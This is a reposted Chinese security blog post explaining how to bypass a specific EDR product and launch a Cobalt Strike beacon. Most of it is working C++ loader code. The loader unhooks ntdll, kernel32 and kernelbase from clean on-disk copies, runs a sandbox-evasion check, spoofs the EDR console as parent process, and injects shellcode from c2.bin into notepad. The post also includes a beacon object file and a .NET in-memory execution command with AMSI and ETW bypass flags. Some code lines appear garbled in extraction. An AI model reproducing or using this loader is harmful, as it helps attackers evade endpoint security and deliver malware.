R3 unhook绕过EDR上线cs

admin 2024年2月28日00:52:22评论16 views字数 8727阅读29分5秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:12142

声明:仅供学习参考,请勿用作违法用途

目录

  • 杀软分析

  • BOF

  • .NET

杀软分析

x64dgb简单调试发现该edr在r3环对ntdll.dll和kernel32.dll关键函数均存在hook,这里硬盘读取原来的dll进行重新加载,原理如图

R3 unhook绕过EDR上线cs


loader

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include<stdlib.h>
#include<iostream>
#include <psapi.h>

BOOL  EnableDebugPrivilege()
{
 HANDLE token_handle;
 LUID luid;
 TOKEN_PRIVILEGES tkp;
 //打开访问令牌
 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token_handle))
 {
  return   FALSE;
 }
 //查询luid
 if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
 {
  CloseHandle(token_handle);
  return   FALSE;
 }
 tkp.PrivilegeCount = 1;
 tkp.Privileges[0].Luid = luid;
 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 //调整访问令牌权限
 if (!AdjustTokenPrivileges(token_handle, FALSE, &tkp, sizeof(tkp), NULLNULL))
 {
  CloseHandle(token_handle);
  return   FALSE;
 }
 return TRUE;
}

typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
 PHANDLE ThreadHandle,
 ACCESS_MASK DesiredAccess,
 LPVOID ObjectAttributes,
 HANDLE ProcessHandle,
 LPTHREAD_START_ROUTINE lpStartAddress,
 LPVOID lpParameter,
 ULONG CreateThreadFlags,
 SIZE_T ZeroBits,
 SIZE_T StackSize,
 SIZE_T MaximumStackSize,
 LPVOID pUnkown
 )
;
typedef FARPROC
(WINAPI
 * pGetProcAddress)
(
  _In_ HMODULE hModule,
  _In_ LPCSTR lpProcName
  )
;
typedef HMODULE
(WINAPI
 * pLoadLibraryA)
(
  _In_ LPCSTR lpLibFileName
  )
;

int ppidfunc(DWORD pid, LPVOID lpBuffer, DWORD dwFileSize) {
 PROCESS_INFORMATION pi = { 0 };
 STARTUPINFOEXA si = { 0 };
 SIZE_T sizeToAllocate;
 si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
 //getparenthandle
 HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
 //UpdateProcThreadAttribute
 InitializeProcThreadAttributeList(NULL10, &sizeToAllocate);
 si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeToAllocate);
 InitializeProcThreadAttributeList(si.lpAttributeList, 10, &sizeToAllocate);
 UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULLNULL);
 //CreateProcess
 CreateProcessA(NULL, (LPSTR)"notepad.exe"NULLNULL, TRUE, CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULLNULL, &si.StartupInfo, &pi);
 LPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, dwFileSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
 WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)lpBuffer, dwFileSize, NULL);
 HANDLE hRemoteThread = NULL;
 DWORD ZwRet = 0;
 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
 ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, pi.hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, NULL0000NULL);
 WaitForSingleObject(hRemoteThread, INFINITE);
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
 CloseHandle(parentProcessHandle);
 return 0;
}
BOOL box()
{
 MEMORYSTATUSEX memoryStatus;
 memoryStatus.dwLength = sizeof(MEMORYSTATUSEX);
 GlobalMemoryStatusEx(&memoryStatus);
 DWORDLONG RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024 / 1024;  //内存RAMMB(G)
 if (RAMMB > 2)
 {
  SYSTEM_INFO systemInfo;
  GetSystemInfo(&systemInfo);
  DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
  if (numberOfProcessors > 4)
  return FALSE;
 }
 else
 return TRUE;
}
BOOL  isPrime(long long number) {
 if (number <= 1)
  return FALSE;
 int i = 2;
 for (; i <= number; ++i) {
  if (number % i == 0) {
   return FALSE;
  }
 }
 return TRUE;
}

DWORD UNHOOKntdll(char* dllname) {
 MODULEINFO mi = {};
 HMODULE ntdllModule = GetModuleHandleA(dllname);

 GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
 char nn[100] = { 0 };
 LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;//mi.lpBaseOfDll=ntdllModule
 sprintf_s(nn, "c:\windows\system32\%s", dllname);
 HANDLE ntdllFile = CreateFileA((LPCSTR)nn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0NULL);
 HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 00NULL);
 LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 000);

 PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
 PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

 for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
  PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

  if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
   DWORD oldProtection = 0;
   bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
   memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
   isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
  }
 }

 CloseHandle(ntdllFile);
 CloseHandle(ntdllMapping);
 FreeLibrary(ntdllModule);

 return 0;
}
DWORD FindProcPid() {
 HANDLE hProcessSnap = NULL;
 BOOL bRet = FALSE;
 PROCESSENTRY32 pe32 = { 0 };
 DWORD dwProcessId = 0;
 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
 pe32.dwSize = sizeof(PROCESSENTRY32);
 if (hProcessSnap != INVALID_HANDLE_VALUE) {
  bRet = Process32First(hProcessSnap, &pe32);
  while (bRet) {
   if (!_wcsicmp(pe32.szExeFile, L"EPConsole.exe")) {
    dwProcessId = pe32.th32ProcessID;
    break;
   }
   bRet = Process32Next(hProcessSnap, &pe32);
  }
 }
 return dwProcessId;
}
int killme()
{
 char g_TargetFile[] = "c2.bin";
 //打开文件
 HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULLNULL, OPEN_EXISTING, 0NULL);
 //获取文件大小
 DWORD dwFileSize = GetFileSize(hFile, NULL);
 //申请一块内存空间
 PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 //将内存读取到申请的内存空间
 DWORD dwReadLength = 0;
 ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL);
 //关闭文件
 CloseHandle(hFile);
 if (box()) {
  isPrime(1000000000000000003);
 }
 else {
  DWORD pid = FindProcPid();

  UNHOOKntdll((char*)"ntdll.dll");
  UNHOOKntdll((char*)"kernel32.dll");
  UNHOOKntdll((char*)"kernelbase.dll");
  //EnableDebugPrivilege();//对于获取system权限的进程而言需要管理员权限启动
  ppidfunc(pid, lpBuffer, dwFileSize);
 }
 return 0;
}
extern "C" _declspec(dllexport) void test()
{
 killme();
}

BOOL APIENTRY DllMain(HMODULE hModule,
 DWORD  ul_reason_for_call,
 LPVOID lpReserved
)

{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
  break;
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
  break;
 }
 return TRUE;
}

这里伪造edr的子进程形成父进程信任链,通过ZwCreateThreadEx对子进程注入上线

通过白名单+伪签名的黑dll上线,发现执行命令就死,猜测应该是cs的shell功能触发了edr的启发式导致被杀

BOF

这里通过BOF执行命令

#include "bofdefs.h"

extern "C" {
    void go(char* buff, int len) {
        
  DFR_LOCAL(KERNEL32, CreateToolhelp32Snapshot);
  DFR_LOCAL(KERNEL32, Process32First);
  DFR_LOCAL(KERNEL32, Process32Next);
  DFR_LOCAL(KERNEL32, CloseHandle);


        //add ...
  PROCESSENTRY32 pe32;
  pe32.dwSize = sizeof(pe32);
  HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hProcessSnap == INVALID_HANDLE_VALUE)
  {
   BeaconPrintf(CALLBACK_OUTPUT," CreateToolhelp32Snapshot调用失败! n");
   return;
  }
  BOOL bMore = Process32First(hProcessSnap, &pe32);
  while (bMore)
  {
   BeaconPrintf(CALLBACK_OUTPUT, "Process Name is : %st", pe32.szExeFile);
   BeaconPrintf(CALLBACK_OUTPUT, "Process ID is: % d n", pe32.th32ProcessID);
   bMore = Process32Next(hProcessSnap, &pe32);
  }
  CloseHandle(hProcessSnap);
    }

}
#ifndef BOF
void main(int argc, char* argv[]) {
    go(NULL0);
}

#endif
inline-execute a.obj

R3 unhook绕过EDR上线cs


.NET

发现还可以内存加载.NET,需要bypass etw和amsi

using System;
using System.Runtime.InteropServices;
namespace coleak
{
    class winfun
    {
        [DllImport("User32.dll")]
        public static extern int MessageBox(IntPtr h, string m, string c, uint type);
        [DllImport("kernel32.dll", EntryPoint = "Beep")]
        public static extern bool mymethod(uint frequency, uint duration);
    }
    class Program
    {
        static void Main(string[] args)
        {
            winfun winfun = new winfun();
            winfun.MessageBox((IntPtr)0"yueyy""coleak", (uint)0);
            Random random = new Random();
            for (int i = 0; i < 10000; i++)
            {
                winfun.mymethod((uint)random.Next(10000), 100);
            }
            Console.ReadLine();
        }
    }
}
inlineExecute-Assembly --dotnetassembly test.exe  --amsi --etw --appdomain forRealLegit --mailslot forRealLegit



文章首发于:渗透测试安全攻防

原文始发于微信公众号(渗透测试安全攻防):R3 unhook绕过EDR上线cs

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月28日00:52:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   R3 unhook绕过EDR上线cshttp://cn-sec.com/archives/2532027.html

发表评论

匿名网友 填写信息